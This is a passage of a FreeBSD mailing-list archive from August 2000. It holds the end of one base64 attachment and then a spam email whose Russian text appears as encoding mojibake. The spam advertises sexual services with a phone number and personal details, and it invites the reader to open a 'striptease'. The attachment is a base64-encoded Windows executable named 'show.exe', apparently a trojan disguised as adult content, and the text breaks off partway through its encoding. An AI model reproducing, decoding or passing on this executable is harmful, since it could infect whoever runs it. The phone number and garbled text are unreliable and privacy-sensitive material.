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 H1f7xOP+uuRbK3f/2f8= --eutuatehtqiouusg-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Aug 19 14:44: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from dialup.ptt.ru (dialup.ptt.ru [195.34.0.100]) by hub.freebsd.org (Postfix) with SMTP id 67D3F37B422 for ; Sat, 19 Aug 2000 14:43:44 -0700 (PDT) Received: (qmail 23807 invoked from network); 19 Aug 2000 19:02:58 -0000 Received: from dialup-27087.dialup.ptt.ru (HELO computer) (195.34.27.87) by dialup.ptt.ru with SMTP; 19 Aug 2000 19:02:58 -0000 To: "" From: vika@mtu-net.ru Subject: vika@mtu-net.ru Date: Sat, 19 Aug 2000 22:59:30 +0300 Message-Id: <36757.957993402777600.791@localhost> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=eutuatehtqiouusg Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --eutuatehtqiouusg Content-Type: text/plain; charset=windows-1251 Content-Transfer-Encoding: 8bit Âû õîòèòå çàáûòü î ñóåòå, îêóíóòüñÿ â ìèð ðîìàíòè÷åñêèõ ãðåç? Îòêðîéòå ïóòü ê íåáåñíîìó áëàæåíñòâó, îñòàâüòå áåñêîíå÷íûå ïðîáëåìû - ïðåëåñòíàÿ íèìôà ïðåäëàãàåò Âàì îòäîõíóòü, ðàññëàáèòüñÿ è óòîíóòü â îêåàíå áëàæåíñòâà è ñëàäîñòðàñòèÿ. Ìîå ñòðîéíîå òåëî è íåæíûå ðóêè ïîâåðãíóò Âàñ â ïó÷èíó íåçàáûâàåìûõ îùóùåíèé è, ïîñåòèâ ìåíÿ îäíàæäû, Âû áóäåòå âîçâðàùàòüñÿ ê âíîâü è âíîâü .... Âîò íåêîòîðûå âíåøíèå äàííûå: Âèêà - øàòåíêà, 21 ãîä, ðîñò 175 ñì, âåñ 52 êã, ðàçìåð îäåæäû 44, áþñò ¹3; Òåëåôîí: (095) 723-04-67 Ïðåäëàãàþ Âàì ïîñìîòðåòü ìàëåíüêèé ñòðèïòèç. --eutuatehtqiouusg Content-Type: application/x-msdownload; name="show.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="show.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEGAMjLqTgAAAAA AAAAAOAADwELAQUAACQAAADqAAAAAAAAriQAAAAQAAAAQAAAAABAAAAQAAAAAgAA BAAAAAAAAAAEAAAAAAAAAABgAQAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAA AAAAABAAAAAAAAAAAAAAAGhXAQBNAQAAAEABAJwDAAAAAAAAAAAAAAAAAAAAAAAA PFMBAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAC50ZXh0AAAA ADAAAAAQAAAAFgAAAAQAAAAAAAAAAAAAAAAAAEAAAMAucmRhdGEAAAAQAAAAQAAA AAIAAAAaAAAAAAAAAAAAAAAAAABAAADALmRhdGEAAAAA4AAAAFAAAAAGAAAAHAAA AAAAAAAAAAAAAAAAQAAAwC5pZGF0YQAAABAAAAAwAQAABgAAACIAAAAAAAAAAAAA AAAAAEAAAMAucnNyYwAAAAAQAAAAQAEAAAQAAAAoAAAAAAAAAAAAAAAAAABAAADA LmRhdGEAuwAAEAAAAFABAAAKAAAALAAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 